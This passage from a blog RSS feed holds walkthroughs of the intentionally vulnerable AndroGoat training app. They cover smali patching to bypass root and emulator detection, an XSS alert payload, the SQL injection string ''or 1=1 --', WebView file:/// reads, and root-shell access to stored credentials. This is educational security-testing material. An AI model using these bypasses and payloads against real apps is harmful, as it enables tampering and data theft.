and for testing apps that enforce different user privileges. The tools used include JADX for decompiling APK files into Java code for analysis, Apktool for decompiling, modifying, and rebuilding APK files, and uber-signer for signing APK files. By modifying the return value of the isAdmin method, we effectively granted admin access.</p><h3>Conclusion: Wrapping Up My AndroGoat Journey</h3><p>Throughout this AndroGoat journey, we’ve explored several key aspects of Android security testing, including bypassing root detection, emulator detection, and performing binary patching. Each of these topics provides valuable insights into how apps implement security measures and how these measures can be tested and bypassed for educational purposes.</p><p>Here’s a summary of the vulnerabilities we’ve covered:</p><ul><li>Root Detection: Mechanisms apps use to determine if a device is rooted.</li><li>Emulator Detection: How apps identify if they’re running on an emulator.</li><li>Insecure Data Storage: Multiple scenarios where data is stored insecurely, including Shared Preferences, SQLite, temp files, and SD cards.</li><li>Keyboard Cache: How keystrokes can be stored and potentially exposed.</li><li>Insecure Logging: Logging sensitive data without encryption.</li><li>Input Validations: Vulnerabilities related to XSS, SQLi, and WebView.</li><li>Unprotected Android Components: Activities, services.</li><li>Hardcoding Issues: Storing sensitive information in plain text within the app.</li><li>Network Intercepting: Issues with HTTP, HTTPS, and certificate pinning.</li><li>Broken Cryptography: Weak or improper cryptographic practices.</li></ul><p>By following the detailed steps in each post, you’ve gained hands-on experience with tools like JADX, Apktool, and uber-signer. You’ve learned how to decompile apps, analyze their code, make strategic modifications, and rebuild and sign them. These skills are fundamental to understanding Android app security and vulnerability assessment.</p><p>I hope this series has been enlightening and has sparked your interest in Android security. The knowledge you’ve gained here is just the beginning. As you continue your journey, you’ll encounter more complex vulnerabilities and advanced techniques. Remember that the goal of learning these skills is to improve app security and contribute to a safer digital environment.</p><p>Thank you for joining me on this AndroGoat journey. I encourage you to keep exploring, experimenting, and learning. The world of Android security is vast and ever-evolving, and there’s always more to discover. Happy hacking, and always use your skills responsibly!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=830ab9d9e21f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Bypassing Emulator Detection]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-bypassing-emulator-detection-6f5b5f8e1d3d?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5b5f8e1d3d</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 06:14:23 GMT</pubDate>
            <atom:updated>2025-06-02T06:14:23.269Z</atom:updated>
            <content:encoded><![CDATA[<p>Objective of This Post In this post, we’ll explore how to bypass emulator detection in the AndroGoat app.</p><h3>Emulator Detection Bypass</h3><h3>Understanding the Vulnerability</h3><p>Emulator detection allows apps to identify if they’re running on an emulator by checking build information. If an emulator is detected, the app may restrict certain functionalities or refuse to run. This is because emulators can potentially compromise the security assumptions the app relies on.</p><h3>Solution Steps</h3><ul><li>Start by opening JADX and loading the AndroGoat.apk file. This tool allows us to inspect the app’s code without executing it. Navigate to the AndroidManifest.xml file and locate the EmulatorDetectionActivity. This is where the emulator detection logic is defined.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*yNt-Xs6ELn7nxOZ510cOiQ.png" /></figure><ul><li>The app checks build information and looks for keywords like “generic” or “emulator”. To bypass this, we need to modify the code that performs these checks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tG_ovmcIjCCQSN250Q2LiA.png" /></figure><ul><li>Next, use Apktool to decompile the AndroGoat.apk. This converts the APK into a format that can be modified. The decompiled code will be in the smali format, which is an assembly-like language for Android apps.</li></ul><pre>apktool d &lt;apk name&gt;</pre><ul><li>Open the decompiled folder with your preferred code editor (e.g., Visual Studio Code). Navigate to /smali/owasp/sat/agoat/EmulatorDetectionActivity.smali. Locate the isEmulator method. This method returns a Boolean value indicating whether the device is an emulator.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g5WRO76HagNGvjlMt60uWQ.png" /></figure><ul><li>Modify the code so that the method always returns false. This is done by setting the register v0 to 0 (which represents false in Boolean terms) and returning it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*rKe2XRcQX_Cru55Po1i0SQ.png" /></figure><ul><li>After making the necessary code changes, use Apktool to rebuild the APK. This compiles the modified smali code back into an APK format.</li></ul><pre>apktool b &lt;folder name&gt;</pre><ul><li>Sign the rebuilt APK using uber-signer. Signing is necessary for the Android system to recognize and install the modified APK.</li></ul><pre>java -jar &lt;uber-apk-signer file name&gt; --apks &lt;apk name&gt;</pre><ul><li>Uninstall the original AndroGoat app from your Android device to avoid conflicts. Install the newly patched APK.</li></ul><pre>adb install &lt;apk name&gt;</pre><ul><li>Run the app and navigate to the emulator detection activity. The app should no longer detect the device as an emulator, allowing you to proceed with your testing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*4SsXuHDDVmBkamHOiHt_Iw.png" /></figure><h3>Explanation</h3><p>Bypassing emulator detection allows you to test how an app behaves on an emulator without the app restricting its functionality. This is valuable for understanding security mechanisms and for testing apps that might otherwise prevent you from exploring their features. The tools used include JADX for decompiling APK files into Java code for analysis, Apktool for decompiling, modifying, and rebuilding APK files, and uber-signer for signing APK files. By modifying the return value of the emulator detection method, we effectively disabled the check.</p><h3>References</h3><p><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0049/">MASTG-TEST-0049: Testing Emulator Detection</a></p><h3>Next Steps</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It covers topics like insecure data storage and unprotected components. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5b5f8e1d3d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Bypassing Root Detection]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-bypassing-root-detection-fa1d4327c187?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa1d4327c187</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[training]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Mon, 02 Jun 2025 06:13:45 GMT</pubDate>
            <atom:updated>2025-06-02T06:13:45.406Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, we’ll explore how to bypass root detection in the AndroGoat app. This is useful for understanding how apps detect rooted devices and how to circumvent such checks for testing purposes.</p><h3>Root Detection Bypass</h3><h3>Understanding the Vulnerability</h3><p>Root detection is a common mechanism used by apps to determine if a device is rooted. If a device is detected as rooted, the app may restrict certain functionalities or refuse to run. This is because rooted devices can potentially compromise the security assumptions the app relies on.</p><h3>Solution Steps</h3><ul><li>To begin, open JADX and load the AndroGoat.apk file. This tool allows us to inspect the app’s code without executing it. Navigate to the AndroidManifest.xml file and locate the RootDetectionActivity. This is where the root detection logic is defined.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*ie2fATIv6lPqTew46A5qwQ.png" /></figure><ul><li>Within RootDetectionActivity, you&#39;ll find methods like isRooted and isRooted1. These methods check for root access by looking for specific files, folders, or runtime conditions. For example, the app might check if certain directories associated with root access exist or if the device is running a shell with root privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lI7gdpsF2W0eywqSYmUpPw.png" /></figure><ul><li>Next, use Apktool to decompile the AndroGoat.apk. This converts the APK into a format that can be modified. The decompiled code will be in the smali format, which is an assembly-like language for Android apps..</li></ul><pre>apktool d &lt;apk_name&gt;</pre><ul><li>Open the decompiled folder with your preferred code editor (e.g., Visual Studio Code). Navigate to /smali/owasp/sat/agoat/RootDetectionActivity.smali. Locate the isRooted method. This method returns a Boolean value indicating whether the device is rooted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G3Ehve3OKzwxruKKA8_idA.png" /></figure><ul><li>Modify the code so that the method always returns false. This is done by setting the register v0 to 0 (which represents false in Boolean terms) and returning it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*Sw5LsF0R5SEWFhixMf8efA.png" /></figure><ul><li>Repeat the same process for the isRooted1 method to ensure all root detection checks are bypassed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*SGmunf-yzgGjoasZZ0KpMg.png" /></figure><ul><li>After making the necessary code changes, use Apktool to rebuild the APK. This compiles the modified smali code back into an APK format.</li></ul><pre>apktool b &lt;folder_name&gt;</pre><ul><li>Sign the rebuilt APK using uber-signer. Signing is necessary for the Android system to recognize and install the modified APK.</li></ul><pre>java -jar &lt;uber-signer file name&gt; --apks &lt;apk file name&gt;</pre><ul><li>Uninstall the original AndroGoat app from your Android device to avoid conflicts. Install the newly patched APK.</li></ul><pre>adb install &lt;apk name&gt;</pre><ul><li>Run the app and navigate to the root detection activity. The app should no longer detect the device as rooted, allowing you to proceed with your testing.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*kx7JIvIni6ij3AqUlstkPw.png" /></figure><h3><strong>Explanation</strong></h3><p>Bypassing root detection allows you to test how an app behaves on a rooted device without the app restricting its functionality. This is valuable for understanding security mechanisms and for testing apps that might otherwise prevent you from exploring their features. The tools used include JADX for decompiling APK files into Java code for analysis, Apktool for decompiling, modifying, and rebuilding APK files, and uber-signer for signing APK files. By modifying the return value of the root detection methods, we effectively disabled the check.</p><h3>References</h3><p><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-RESILIENCE/MASTG-TEST-0045/">MASTG-TEST-0045: Testing Root Detection</a></p><h3><strong>Next Steps</strong></h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It covers topics like insecure data storage and unprotected components. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa1d4327c187" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Deep Dive into Hardcoded Issues]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-hardcoded-issues-a641d38d732a?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/a641d38d732a</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 03:45:47 GMT</pubDate>
            <atom:updated>2025-06-01T03:45:47.859Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives of This Post</h3><p>In this post, we’ll explore hardcoded issues in the AndroGoat app. Our objectives are:</p><ol><li>Understand what hardcoded issues are.</li><li>Identify and extract hardcoded values using static analysis.</li><li>Exploit hardcoded values to demonstrate impact.</li></ol><h3>Hardcoded Issues</h3><p>Hardcoded issues refer to sensitive information (like credentials, keys, or special codes) that are directly embedded into the source code of an application. This practice can lead to security vulnerabilities if this information is exposed.</p><h3>Finding and Using a Hardcoded Promo Code</h3><h4>Solution Steps</h4><ul><li>Open jadx and Analyze the App: Open AndroGoat.apk in jadx. Navigate to the AndroidManifest and find HardCodeActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*5k7Dq9Jij7-stq9-VltblA.png" /></figure><ul><li>Locate the Hardcoded Promo Code: In HardCodeActivity, you&#39;ll find the promo code embedded directly in the code. In this case, the promo code is NEW2019.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*SpPSwbwuVmdbASDj2hJwAg.png" /></figure><ul><li>Enter the Promo Code in the App: Launch the AndroGoat app, navigate to the hardcoded activity, and enter the promo code NEW2019. After entering the promo code, the price should update to 0, demonstrating how hardcoded values can be exploited.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*v_FT45vUF4yRsDzE2msH4A.png" /></figure><h3>Next Steps</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It’s packed with topics like insecure data storage, unprotected components, and more. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a641d38d732a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Deep Dive into Input Validations]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-input-validations-d504093db256?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/d504093db256</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 03:44:40 GMT</pubDate>
            <atom:updated>2025-06-01T03:44:40.943Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives of This Post</h3><p>In this post, we’ll explore common input validation vulnerabilities in the AndroGoat app. Our objectives are:</p><ol><li>Understand and exploit XSS vulnerabilities.</li><li>Identify and execute SQL Injection attacks.</li><li>Analyze insecure WebView implementations.</li></ol><h3>Input Validations</h3><h3>Input Validation XSS</h3><h4>Understanding the Vulnerability</h4><p>Cross-Site Scripting (XSS) attacks involve injecting malicious scripts into web pages viewed by other users. On Android, XSS can occur when user input is displayed without proper sanitization, allowing attackers to execute scripts in the context of the app. This can lead to information leakage, session hijacking, and other security issues.</p><h4>Solution Steps</h4><ul><li>Open jadx and Analyze the App: Open AndroGoat.apk in jadx, navigate to the AndroidManifest, and find InputValidationsActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*dTsvwcldSB0_3BQqtCXxiA.png" /></figure><ul><li>Locate XSSActivity: In the code, pressing the XSS button directs you to XSSActivity. Double-click on XSSActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpj1VH3lcLDdpvgpITWgqQ.png" /></figure><ul><li>Identify Lack of Input Filtering: The code processes all characters without filtering, making it vulnerable to XSS attacks using script tags.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WH-MjOJQjv7sfqH-u6WPCw.png" /></figure><ul><li>Test with a Normal String: Enter a regular string to see the output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*s4YLvDtP2RX2w5DxoSU4Eg.png" /></figure><ul><li>Test with HTML Tags: Add text with &lt;h1&gt; tags to check if input is filtered.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*OgZ9lKGjRZGBHuNR9RnRpQ.png" /></figure><ul><li>Execute XSS Payload: Enter &lt;script&gt;alert(&quot;Hey!&quot;)&lt;/script&gt; in the input field. If the app displays an alert, XSS is successfully executed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*sj64MHl4TS0J9pFhwuhVtw.png" /></figure><h3>SQL Injection</h3><h4>Understanding the Vulnerability</h4><p>SQL Injection occurs when user input is included in SQL queries without proper sanitization. This can allow attackers to execute arbitrary SQL commands, potentially accessing or modifying database content.</p><h4>Solution Steps</h4><ul><li>Locate SQLInjectionActivity: In InputValidationsActivity, double-click on SQLInjectionActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vli-O--xY18A3Q9lJVaMbg.png" /></figure><ul><li>Identify Vulnerable Code: The code lacks input filtering and doesn’t use prepared statements, making it susceptible to SQL Injection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7reVt5fyMe-yKxdttRSSkw.png" /></figure><ul><li>Execute SQL Payload: Enter &#39;or 1=1 -- to retrieve all usernames and passwords from the database.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*QKsSwGcXTH7rwHsKX9lZgA.png" /></figure><h3>WebView</h3><h4>Understanding the Vulnerability</h4><p>Insecure WebView implementations can allow attackers to access local files or execute JavaScript with excessive permissions. This can lead to data leakage or further compromises within the app.</p><h4>Solution Steps</h4><ul><li>Locate InputValidationsWebViewURLActivity: In InputValidationsActivity, double-click on InputValidationsWebViewURLActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oiSc2zfwS26CKKdvl0-i7w.png" /></figure><ul><li>Identify Insecure Configuration: The WebView lacks input validation, file access controls, and has JavaScript enabled, allowing access to local files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vo6yNuolyrZvYL40Vf37fw.png" /></figure><ul><li>Access Local File: Enter file:///data/data/owasp.sat.agoat/shared_prefs/user.xml and press display to read the file contents through the WebView.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*RmfkgTsKGqhVy_FVpNurrg.png" /></figure><h3>References from OWASP MSTG</h3><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0008/">MASTG-TEST-0008: Checking for Sensitive Data Disclosure Through the User Interface</a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-CODE/MASTG-TEST-0002/">MASTG-TEST-0002: Testing Local Storage for Input Validation</a></li></ul><h3>Next Steps</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It’s packed with topics like insecure data storage, unprotected components, and more. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d504093db256" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Deep Dive into Side Channel Data Leakage]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-side-channel-data-leakage-8cdd7244de0d?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/8cdd7244de0d</guid>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[training]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 03:43:46 GMT</pubDate>
            <atom:updated>2025-06-01T03:43:46.721Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives of This Post</h3><p>In this post, we’ll explore side channel data leakage vulnerabilities in the AndroGoat app. Our objectives are:</p><ol><li>Understand keyboard cache leakage.</li><li>Identify insecure logging practices.</li><li>Analyze clipboard data leakage.</li></ol><h3>Side Channel Data Leakage</h3><h3>Keyboard Cache</h3><h4>Understanding the Vulnerability</h4><p>Keyboard caches can store keystrokes, potentially exposing sensitive information like usernames and passwords.</p><h4>Solution Steps</h4><ul><li>Open jadx and load AndroGoat.apk. Navigate to the AndroidManifest and find SideChannelDataLeakageActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elG5ng-BDx6xTMO_vv9egw.png" /></figure><ul><li>Pressing the KeyboardCache button directs you to KeyboardCacheActivity. Double-click on it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v-zjHytvNTkgjRkPLAg4zA.png" /></figure><ul><li>The code records keystrokes and stores them in the keyboard’s default folder. For Google Keyboard, this is /data/data/com.google.android.inputmethod.latin/.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AmLCNiDoZ6UhDwGAZmI62g.png" /></figure><ul><li>Enter a username and password in the app and verify.</li><li>Navigate to the keyboard’s default folder, then to /files/personal/userhistory, and read the file.</li></ul><h3>Insecure Logging</h3><h4>Understanding the Vulnerability</h4><p>Insecure logging occurs when sensitive data is logged without encryption, allowing attackers to access this information through log files.</p><h4>Solution Steps</h4><ul><li>In SideChannelDataLeakageActivity, double-click on InsecureLoggingActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*505Wwfito8U5crXZDWB4Mw.png" /></figure><ul><li>The code logs errors and sensitive data like usernames and passwords in plain text.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3W3wEBM_iUMg8UwyWuu6Yg.png" /></figure><ul><li>To capture logs, use the command adb logcat &gt; log.txt and let the process run.</li></ul><pre>adb logcat &gt; log.txt</pre><ul><li>Enter a username and password in the app and submit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*opqUsRO0GxLk5AU1zM-wmQ.png" /></figure><ul><li>Stop the adb logcat process and open log.txt. Use the search function to find the string &quot;error occurred&quot;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xW_fP-CwTmeSM6-O2rTDgw.png" /></figure><h3>Clipboard — Copy and Paste</h3><h4>Understanding the Vulnerability</h4><p>Clipboard data can be accessed by other apps if sensitive information is copied in plain text.</p><h4>Solution Steps</h4><ul><li>In SideChannelDataLeakageActivity, double-click on ClipboardActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lz0ZKvOaI9SAwkHJHo0zA.png" /></figure><ul><li>The code automatically copies an OTP to the clipboard in plain text.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zcdoyiUbH4P2zWD572dLOA.png" /></figure><ul><li>Enter a credit card value in the app, generate, and copy the OTP.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*FwQbBP6YOrP4Xtlmc-Nrug.png" /></figure><h3>References from OWASP MSTG</h3><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0009/">MASTG-TEST-0009: Testing Backups for Sensitive Data</a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/MASTG-TEST-0011/">MASTG-TEST-0011: Testing Memory for Sensitive Data</a></li></ul><h3>Next Steps</h3><p>If you enjoyed this deep dive and want to explore more vulnerabilities, check out my main AndroGoat walkthrough post. It’s packed with topics like insecure data storage, unprotected components, and more. Each topic has its own detailed post to guide you through the challenges. Happy exploring, and remember, we’re learning together!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8cdd7244de0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My AndroGoat Journey: Deep Dive into Insecure Data Storage]]></title>
            <link>https://medium.com/@damarabrianr/my-androgoat-journey-deep-dive-into-insecure-data-storage-2887c1a524a8?source=rss-c788e8fa6feb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2887c1a524a8</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[training]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Damara Brian]]></dc:creator>
            <pubDate>Thu, 29 May 2025 05:57:24 GMT</pubDate>
            <atom:updated>2025-06-02T06:16:41.332Z</atom:updated>
            <content:encoded><![CDATA[<h3>Objectives of This Post</h3><p>In this post, we’ll explore common vulnerabilities related to insecure data storage in the AndroGoat app. Our objectives are:</p><ol><li>Understand insecure data storage in shared preferences.</li><li>Identify sensitive data in SQLite databases.</li><li>Analyze risks of temporary files.</li><li>Examine insecure data in external storage (SD card).</li></ol><h3>Insecure Data Storage</h3><p>For this topic, we’ll use <a href="https://github.com/skylot/jadx"><strong>jadx </strong></a>for static analysis of the AndroGoat app to understand how data is stored insecurely.</p><h3>Shared Preferences — Part 1</h3><h4>The Challenge</h4><p>Sensitive data stored in shared preferences without encryption.</p><h4>Solution Steps</h4><ul><li>Open jadx and examine the AndroidManifest file, locate and double-click on InsecureStorageActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*4HnufPIj81U_VtXlmu-TyA.png" /></figure><ul><li>In InsecureStorageActivity, identify the activity called when a button is pressed and double-click on InsecureStorageSharedPrefs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMLqshvSI2Ba1z-IGWb2rg.png" /></figure><ul><li>In InsecureStorageSharedPrefs, observe that when the save button is pressed, data is stored in shared preferences, accessible if you have root access.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d79tQkAiFUUoZPZetd2K3w.png" /></figure><ul><li>Enter a username and password in the app and click save. Then, enter the Android shell and switch to the root user.</li></ul><pre>adb shell su</pre><ul><li>Navigate to /data/data/owasp.sat.agoat/shared_prefs, list the files, and view user.xml.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPiuQqtKM9CV7AzQ7L6XKw.png" /></figure><h3>Shared Preferences — Part 2</h3><h4>The Challenge</h4><p>Modify shared preferences data to manipulate app behavior.</p><h4>Solution Steps</h4><ul><li>In InsecureStorageActivity, double-click on InsecureStorageSharedPrefs1Activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wUHWVaVrNliaAHtvBAsqCQ.png" /></figure><ul><li>Identify the getScoreFromSP method, which retrieves score and level values from a file in the shared_prefs folder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6qHNpCxfz3vK0vePJ6Q-Pw.png" /></figure><ul><li>In the app, click the score button to generate or retrieve the score file.</li><li>Since we’re already in /data/data/owasp.sat.agoat/shared_prefs from the previous step, list the files and view score.xml.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTVJorS5Nfsz9L0Kw1o4Zg.png" /></figure><ul><li>To edit this file on your PC/laptop, first, pull the file using ADB. Because the folder is only accessible by the root user, copy it to a user-accessible folder like Downloads.</li></ul><pre>cp score.xml /storage/emulated/0/Download</pre><ul><li>After copying the file to Downloads, use the following command to pull it to your PC/laptop.</li></ul><pre>adb pull /storage/emulated/0/Download/score.xml</pre><ul><li>Use your favorite text editor to increase the score to over 10000 to complete the challenge. Push the modified file back to the Downloads folder.</li></ul><pre>adb push score.xml /storage/emulaed/0/Download</pre><ul><li>Ensure the app is closed, then copy the modified file back to the shared_prefs folder using the command below.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQRXYMlJ96yaPESogb1SiQ.png" /></figure><ul><li>Open the app and check if the score has updated to 10003. If not, press the score button to refresh the view.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*MJ3YeZ0rR3Q5Izyk9yPUVA.png" /></figure><h3>SQLite Database</h3><h4>The Challenge</h4><p>Access sensitive data stored in an SQLite database.</p><h4>Solution Steps</h4><ul><li>In InsecureStorageActivity, double-click on InsecureStorageSQLiteActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DaRlgJovWLh52nA8YEvRTw.png" /></figure><ul><li>From the code, note that the database is named aGoat and the table is named users.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCq2t6Il5lW-dhvgGjTITw.png" /></figure><ul><li>In the app, enter a username and password and click save. Then, navigate to /data/data/owasp.sat.agoat, list the files, and enter the databases folder.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*gjFN5aJebD40iu1lTy8D7Q.png" /></figure><ul><li>Attempt to open the database using sqlite3. If the built-in sqlite3 isn’t accessible, pull the database file to your laptop and open it there.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ke1xyxzTAnPOzVPETr-SwQ.png" /></figure><h3>Temporary Files</h3><h4>The Challenge</h4><p>Identify and access sensitive data in temporary files.</p><h4>Solution Steps</h4><ul><li>In InsecureStorageActivity, double-click on InsecureStorageTempActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lV9-fZ-EjNrcjOk_5pfZDw.png" /></figure><ul><li>From the code, deduce that the app stores user credentials in a file within its own directory at /data/data/owasp.sat.agoat.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B_5seb0z9fu9PsXLSgMOWA.png" /></figure><ul><li>After entering a username and password in the app, navigate to /data/data/owasp.sat.agoat, list the files, and find the temporary file. Use cat to display its contents.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j16kYOCg_YIFqtXIxqYkEw.png" /></figure><h3>External Storage — SD Card</h3><h4>The Challenge</h4><p>Access sensitive files stored on external storage.</p><h4>Solution Steps</h4><ul><li>In InsecureStorageActivity, double-click on InsecureStorageSDCardActivity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L0-I0mG71X4KqSNH9QaKtw.png" /></figure><ul><li>From the code, understand that the app creates a file with a name starting with user and ending with .tmp in the external storage directory.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Gg8coTdbnVPMcxsIMrhHQ.png" /></figure><ul><li>Before entering data, ensure the app has storage permission. If granted, enter a username and password and click save.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*pyur68bhEhUnmofnx-K8dQ.png" /></figure><ul><li>Navigate to the SD card directory at /sdcard, list the files, and view the contents using cat</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjhjLm6MiG7CNqzkg-ZHCg.png" /></figure><h3>References from OWASP 